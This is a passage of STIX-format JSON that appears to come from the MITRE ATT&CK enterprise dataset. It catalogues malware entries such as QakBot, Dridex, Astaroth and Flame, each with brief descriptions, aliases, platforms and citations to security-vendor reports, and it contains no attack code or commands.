"url": "https://securelist.com/chafer-used-remexi-malware/89538/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:58:17.763Z", "name": "Astaroth", "description": "[Astaroth](https://attack.mitre.org/software/S0373) is a Trojan and information stealer known to affect companies in Europe, Brazil, and throughout Latin America. It has been known publicly since at least late 2017. (Citation: Cybereason Astaroth Feb 2019)(Citation: Cofense Astaroth Sept 2018)(Citation: Securelist Brazilian Banking Malware July 2020)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.3", "x_mitre_contributors": ["Carlos Borges, @huntingneo, CIP"], "x_mitre_aliases": ["Astaroth", "Guildma"], "type": "malware", "id": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "created": "2019-04-17T13:46:38.565Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0373", "external_id": "S0373"}, {"source_name": "Guildma", "description": "(Citation: Securelist Brazilian Banking Malware July 2020)"}, {"source_name": "Cofense Astaroth Sept 2018", "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019.", "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/"}, {"source_name": "Securelist Brazilian Banking Malware July 2020", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/"}, {"source_name": "Cybereason Astaroth Feb 2019", "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-12-05T20:22:37.368Z", "name": "QakBot", "description": "[QakBot](https://attack.mitre.org/software/S0650) is a modular banking trojan that has been used primarily by financially-motivated actors since at least 2007. [QakBot](https://attack.mitre.org/software/S0650) is continuously maintained and developed and has evolved from an information stealer into a delivery agent for ransomware, most notably [ProLock](https://attack.mitre.org/software/S0654) and [Egregor](https://attack.mitre.org/software/S0554).(Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_contributors": ["Edward Millington", "Inna Danilevich, U.S. Bank"], "x_mitre_aliases": ["QakBot", "Pinkslipbot", "QuackBot", "QBot"], "type": "malware", "id": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "created": "2021-09-27T19:35:35.326Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0650", "external_id": "S0650"}, {"source_name": "QuackBot", "description": "(Citation: Kaspersky QakBot September 2021)"}, {"source_name": "Pinkslipbot", "description": "(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)"}, {"source_name": "QBot", "description": "(Citation: Trend Micro Qakbot December 2020)(Citation: Red Canary Qbot)(Citation: Kaspersky QakBot September 2021)(Citation: ATT QakBot April 2021)"}, {"source_name": "Kaspersky QakBot September 2021", "description": "Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.", "url": "https://securelist.com/qakbot-technical-analysis/103931/"}, {"source_name": "ATT QakBot April 2021", "description": "Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.", "url": "https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot"}, {"source_name": "Red Canary Qbot", "description": "Rainey, K. (n.d.). Qbot. Retrieved September 27, 2021.", "url": "https://redcanary.com/threat-detection-report/threats/qbot/"}, {"source_name": "Trend Micro Qakbot December 2020", "description": "Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021.", "url": "https://success.trendmicro.com/solution/000283381"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-21T15:16:57.038Z", "name": "SYSCON", "description": "[SYSCON](https://attack.mitre.org/software/S0464) is a backdoor that has been in use since at least 2017 and has been associated with campaigns involving North Korean themes. [SYSCON](https://attack.mitre.org/software/S0464) has been delivered by the [CARROTBALL](https://attack.mitre.org/software/S0465) and [CARROTBAT](https://attack.mitre.org/software/S0462) droppers.(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_aliases": ["SYSCON"], "type": "malware", "id": "malware--edf5aee2-9b1c-4252-8e64-25b12f14c8b3", "created": "2020-06-02T18:46:58.489Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0464", "external_id": "S0464"}, {"source_name": "Unit 42 CARROTBAT November 2018", "description": "Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020.", "url": "https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/"}, {"source_name": "Unit 42 CARROTBAT January 2020", "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020.", "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-22T03:33:29.192Z", "name": "CookieMiner", "description": "[CookieMiner](https://attack.mitre.org/software/S0492) is mac-based malware that targets information associated with cryptocurrency exchanges as well as enabling cryptocurrency mining on the victim system itself. It was first discovered in the wild in 2019.(Citation: Unit42 CookieMiner Jan 2019)", "x_mitre_platforms": ["macOS"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.1", "x_mitre_aliases": ["CookieMiner"], "type": "malware", "id": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586", "created": "2020-07-22T19:00:00.779Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0492", "external_id": "S0492"}, {"source_name": "Unit42 CookieMiner Jan 2019", "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. 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(2017, January 11). Spammers Revive Hancitor Downloader Campaigns. Retrieved August 13, 2020."}, {"source_name": "FireEye Hancitor", "url": "https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html", "description": "Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."}], "modified": "2020-10-16T00:41:06.476Z", "name": "Hancitor", "description": "[Hancitor](https://attack.mitre.org/software/S0499) is a downloader that has been used by [Pony](https://attack.mitre.org/software/S0453) and other information stealing malware.(Citation: Threatpost Hancitor)(Citation: FireEye Hancitor)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:28:01.735Z", "name": "Gelsemium", "description": "[Gelsemium](https://attack.mitre.org/software/S0666) is a modular malware comprised of a dropper (Gelsemine), a loader (Gelsenicine), and main (Gelsevirine) plug-ins written using the Microsoft Foundation Class (MFC) framework. [Gelsemium](https://attack.mitre.org/software/S0666) has been used by the Gelsemium group since at least 2014.(Citation: ESET Gelsemium June 2021)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_aliases": ["Gelsemium", "Gelsevirine", "Gelsenicine", "Gelsemine"], "type": "malware", "id": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", "created": "2021-11-30T19:02:16.138Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0666", "external_id": "S0666"}, {"source_name": "Gelsevirine", "description": "(Citation: ESET Gelsemium June 2021)"}, {"source_name": "Gelsenicine", "description": "(Citation: ESET Gelsemium June 2021)"}, {"source_name": "Gelsemine", "description": "(Citation: ESET Gelsemium June 2021)"}, {"source_name": "ESET Gelsemium June 2021", "description": "Dupuy, T. and Faou, M. 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Variants of [jRAT](https://attack.mitre.org/software/S0283) have been distributed via a software-as-a-service platform, similar to an online subscription model.(Citation: Kaspersky Adwind Feb 2016) (Citation: jRAT Symantec Aug 2018)", "x_mitre_platforms": ["Linux", "Windows", "macOS", "Android"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.2", "x_mitre_aliases": ["jRAT", "JSocket", "AlienSpy", "Frutas", "Sockrat", "Unrecom", "jFrutas", "Adwind", "jBiFrost", "Trojan.Maljava"], "type": "malware", "id": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0283", "external_id": "S0283"}, {"source_name": "jRAT", "description": "(Citation: jRAT Symantec Aug 2018)"}, {"source_name": "Trojan.Maljava", "description": "(Citation: jRAT Symantec Aug 2018)"}, {"source_name": "JSocket", "description": "(Citation: Kaspersky Adwind Feb 2016)"}, {"source_name": "AlienSpy", "description": "(Citation: Kaspersky Adwind Feb 2016)"}, {"source_name": "Frutas", "description": "(Citation: Kaspersky Adwind Feb 2016)"}, {"source_name": "Sockrat", "description": "(Citation: Kaspersky Adwind Feb 2016)"}, {"source_name": "Unrecom", "description": "(Citation: Kaspersky Adwind Feb 2016)"}, {"source_name": "jFrutas", "description": "(Citation: Kaspersky Adwind Feb 2016)"}, {"source_name": "Adwind", "description": "(Citation: Kaspersky Adwind Feb 2016)"}, {"source_name": "jBiFrost", "description": "(Citation: NCSC Joint Report Public Tools)"}, {"source_name": "Kaspersky Adwind Feb 2016", "description": "Kamluk, V. & Gostev, A. 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[Dridex](https://attack.mitre.org/software/S0384) was created from the source code of the Bugat banking Trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Treasury EvilCorp Dec 2019)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "2.1", "x_mitre_contributors": ["Daniyal Naeem, BT Security", "Jennifer Kim Roman, CrowdStrike"], "x_mitre_aliases": ["Dridex", "Bugat v5"], "type": "malware", "id": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", "created": "2019-05-30T19:47:37.192Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0384", "external_id": "S0384"}, {"source_name": "Bugat v5", "description": "(Citation: Dell Dridex Oct 2015)"}, {"source_name": "Dridex", "description": "(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Checkpoint Dridex Jan 2021)"}, {"source_name": "Checkpoint Dridex Jan 2021", "description": "Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021.", "url": "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/"}, {"source_name": "Dell Dridex Oct 2015", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.", "url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation"}, {"source_name": "Kaspersky Dridex May 2017", "description": "Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.", "url": "https://securelist.com/dridex-a-history-of-evolution/78531/"}, {"source_name": "Treasury EvilCorp Dec 2019", "description": "U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. Retrieved September 15, 2021.", "url": "https://home.treasury.gov/news/press-releases/sm845"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["BBK"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea", "type": "malware", "created": "2020-06-10T18:00:28.497Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0470", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0470"}, {"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T15:36:00.792Z", "name": "BBK", "description": "[BBK](https://attack.mitre.org/software/S0470) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["Komplex"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--f108215f-3487-489d-be8b-80e346d32518", "type": "malware", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0162", "url": "https://attack.mitre.org/software/S0162", "source_name": "mitre-attack"}, {"source_name": "XAgentOSX 2017", "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"}, {"source_name": "Sofacy Komplex Trojan", "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"}], "modified": "2020-03-30T16:55:54.637Z", "name": "Komplex", "description": "[Komplex](https://attack.mitre.org/software/S0162) is a backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be developed in a similar manner to [XAgentOSX](https://attack.mitre.org/software/S0161) (Citation: XAgentOSX 2017) (Citation: Sofacy Komplex Trojan).", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-08-30T16:28:36.699Z", "name": "OSX/Shlayer", "description": "[OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS that was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)", "x_mitre_platforms": ["macOS"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.4", "x_mitre_aliases": ["OSX/Shlayer", "Zshlayer", "Crossrider"], "type": "malware", "id": "malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7", "created": "2019-08-29T18:52:20.879Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0402", "external_id": "S0402"}, {"source_name": "OSX/Shlayer", "description": "(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)"}, {"source_name": "Crossrider", "description": "(Citation: Intego Shlayer Apr 2018)(Citation: Malwarebytes Crossrider Apr 2018)"}, {"source_name": "Zshlayer", "description": "(Citation: sentinelone shlayer to zshlayer)"}, {"source_name": "Carbon Black Shlayer Feb 2019", "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.", "url": "https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"}, {"source_name": "Intego Shlayer Feb 2018", "description": "Long, Joshua. (2018, February 21). OSX/Shlayer: New Mac malware comes out of its shell. Retrieved August 28, 2019.", "url": "https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/"}, {"source_name": "sentinelone shlayer to zshlayer", "description": "Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021.", "url": "https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/"}, {"source_name": "Malwarebytes Crossrider Apr 2018", "description": "Reed, Thomas. (2018, April 24). New Crossrider variant installs configuration profiles on Macs. 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[Denis](https://attack.mitre.org/software/S0354) shares several similarities to the [SOUNDBITE](https://attack.mitre.org/software/S0157) backdoor and has been used in conjunction with the [Goopy](https://attack.mitre.org/software/S0477) backdoor.(Citation: Cybereason Oceanlotus May 2017)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.2", "x_mitre_aliases": ["Denis"], "type": "malware", "id": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", "created": "2019-01-30T20:01:44.815Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0354", "external_id": "S0354"}, {"source_name": "Denis", "description": "(Citation: Cybereason Oceanlotus May 2017)"}, {"source_name": "Cybereason Oceanlotus May 2017", "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. 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(2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}], "modified": "2020-03-30T15:25:11.871Z", "name": "Comnie", "description": "[Comnie](https://attack.mitre.org/software/S0244) is a remote backdoor which has been used in attacks in East Asia. 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(2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", "source_name": "Symantec Elderwood Sept 2012"}, {"source_name": "Symantec Vasport May 2012", "description": "Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99"}], "modified": "2021-01-06T19:32:28.278Z", "name": "Vasport", "description": "[Vasport](https://attack.mitre.org/software/S0207) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. 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Retrieved September 22, 2016.", "source_name": "Forcepoint Monsoon"}], "modified": "2020-03-30T14:52:48.605Z", "name": "AutoIt backdoor", "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.", "x_mitre_version": "1.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["JSS Loader"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--f559f945-eb8b-48b1-904c-68568deebed3", "type": "malware", "created": "2021-09-22T14:44:48.087Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"external_id": "S0648", "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0648"}, {"source_name": "eSentire FIN7 July 2021", "url": "https://www.esentire.com/security-advisories/notorious-cybercrime-gang-fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner-brown-forman-inc", "description": "eSentire. (2021, July 21). Notorious Cybercrime Gang, FIN7, Lands Malware in Law Firm Using Fake Legal Complaint Against Jack Daniels\u2019 Owner, Brown-Forman Inc.. Retrieved September 20, 2021."}, {"source_name": "CrowdStrike Carbon Spider August 2021", "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", "description": "Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021."}], "modified": "2021-10-15T19:57:14.998Z", "name": "JSS Loader", "description": "[JSS Loader](https://attack.mitre.org/software/S0648) is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least 2020.(Citation: eSentire FIN7 July 2021)(Citation: CrowdStrike Carbon Spider August 2021)", "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["PHOREAL"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e", "type": "malware", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0158", "external_id": "S0158"}, {"source_name": "PHOREAL", "description": "(Citation: FireEye APT32 May 2017)"}, {"source_name": "FireEye APT32 May 2017", "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}], "modified": "2020-03-30T17:15:03.862Z", "name": "PHOREAL", "description": "[PHOREAL](https://attack.mitre.org/software/S0158) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). 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Retrieved September 26, 2016.", "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}], "modified": "2020-03-18T22:53:32.172Z", "name": "OSInfo", "description": "[OSInfo](https://attack.mitre.org/software/S0165) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to do internal discovery on a victim's computer and network. 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(2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022."}, {"source_name": "Gemini FIN7 Oct 2021", "url": "https://geminiadvisory.io/fin7-ransomware-bastion-secure/", "description": "Gemini Advisory. (2021, October 21). FIN7 Recruits Talent For Push Into Ransomware. Retrieved February 2, 2022."}, {"source_name": "Threatpost Lizar May 2021", "url": "https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/", "description": "Seals, T. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved February 2, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Lizar](https://attack.mitre.org/software/S0681) is a modular remote access tool written using the .NET Framework that shares structural similarities to [Carbanak](https://attack.mitre.org/software/S0030). It has likely been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least February 2021.(Citation: BiZone Lizar May 2021)(Citation: Threatpost Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)", "modified": "2022-04-15T11:40:31.460Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Lizar", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-18T22:01:45.646Z", "name": "Dtrack", "description": "[Dtrack](https://attack.mitre.org/software/S0567) is spyware that was discovered in 2019 and has been used against Indian financial institutions, research facilities, and the Kudankulam Nuclear Power Plant. [Dtrack](https://attack.mitre.org/software/S0567) shares similarities with the DarkSeoul campaign, which was attributed to [Lazarus Group](https://attack.mitre.org/groups/G0032). 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(n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"labels": ["malware"], "x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_aliases": ["UPPERCUT", "ANEL"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", "type": "malware", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0275", "external_id": "S0275"}, {"source_name": "UPPERCUT", "description": "(Citation: FireEye APT10 Sept 2018)"}, {"source_name": "ANEL", "description": "(Citation: FireEye APT10 Sept 2018)"}, {"url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", "description": "Matsuda, A., Muhammad I. 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(2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. 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(2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016."}, {"source_name": "Symantec Backdoor.Mivast", "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2", "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Mivast](https://attack.mitre.org/software/S0080) is a backdoor that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009). It was reportedly used in the Anthem breach. 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Retrieved October 15, 2020."}, {"source_name": "ESET PowerPool Code October 2020", "url": "https://twitter.com/ESETresearch/status/1311762215490461696", "description": "ESET Research. (2020, October 1). ESET Research Tweet Linking Slothfulmedia and PowerPool. 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Retrieved August 18, 2022.", "url": "https://www.mandiant.com/resources/telegram-malware-iranian-espionage"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2022-10-12T17:51:18.408Z", "name": "Flame", "description": "[Flame](https://attack.mitre.org/software/S0143) is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. 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Retrieved February 25, 2017.", "url": "https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "labels": ["malware"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-11T02:21:28.830Z", "name": "HermeticWizard", "description": "[HermeticWizard](https://attack.mitre.org/software/S0698) is a worm that has been used to spread [HermeticWiper](https://attack.mitre.org/software/S0697) in attacks against organizations in Ukraine since at least 2022.(Citation: ESET Hermetic Wizard March 2022)", "x_mitre_platforms": ["Windows"], "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], 